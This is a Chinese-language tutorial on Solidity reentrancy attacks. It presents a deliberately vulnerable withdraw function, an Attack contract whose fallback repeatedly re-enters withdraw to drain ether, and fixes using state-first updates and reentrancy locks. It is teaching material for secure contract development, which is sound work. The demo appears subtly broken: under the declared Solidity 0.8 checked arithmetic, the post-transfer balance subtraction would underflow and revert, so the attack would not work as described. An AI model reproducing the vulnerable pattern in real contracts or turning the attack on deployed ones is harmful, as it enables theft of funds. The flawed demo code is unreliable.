0%

重入攻击

重入攻击(Reentrancy Attack)

重入攻击是指攻击者通过调用目标合约的某个函数,利用该函数在完成关键状态变量更新前调用外部合约的能力,从而反复调用目标合约的函数,最终实现非法的资金提取或状态操作。

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable {
mapping(address => uint256) public balances;

// 存款函数
function deposit() public payable {
balances[msg.sender] += msg.value;
}

// 提款函数,存在重入攻击漏洞
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

// 向用户发送资金
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// 更新用户余额
balances[msg.sender] -= amount;
}

// 合约余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

这是一个容易受到重入攻击的合约,它允许用户存款并提款。

问题:

  • 在发送资金后,余额更新在后。
  • 攻击者可以通过调用自己的回调函数,在 withdraw 执行完成前再次调用 withdraw,从而重复提款。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Vulnerable.sol";

contract Attack {
Vulnerable public vulnerable;

constructor(address _vulnerableAddress) {
vulnerable = Vulnerable(_vulnerableAddress);
}

// 回退函数:用于重入攻击
fallback() external payable {
if (address(vulnerable).balance >= 1 ether) {
vulnerable.withdraw(1 ether); // 重复调用
}
}

// 攻击函数
function attack() public payable {
require(msg.value >= 1 ether, "Need at least 1 ether");
vulnerable.deposit{value: 1 ether}(); // 存款
vulnerable.withdraw(1 ether); // 首次提款
}

// 查看攻击合约余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

攻击步骤:

  1. 攻击者部署 Attack 合约并调用 attack。
  2. 调用 vulnerable.withdraw(1 ether) 时触发回退函数 fallback。
  3. 回退函数再次调用 withdraw,在余额未更新之前反复提款。

解决方法

  • 状态变量优先更新:在执行外部调用前,先更新合约的状态。
  • 通过加锁来限制重入:通过给function加锁,来限制重入,以达到防止攻击的目的。

状态变量优先更新

将状态变量的更新移到外部调用之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

// 先更新余额,后转账
balances[msg.sender] -= amount;

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

通过加锁来限制重入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable {
mapping(address => uint256) public balances;

// 通过加锁来限制重入
bool private locker = false;
modifier locked() {
require(!locker, "reentrant call");
locker = true;
_;
locker = false;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public locked {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

也可通过使用OpenZeppelin中提供的ReentrancyGuard工具来防止攻击,ReentrancyGuard机制与锁机制相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Vulnerable is ReentrancyGuard {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public nonReentrant {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}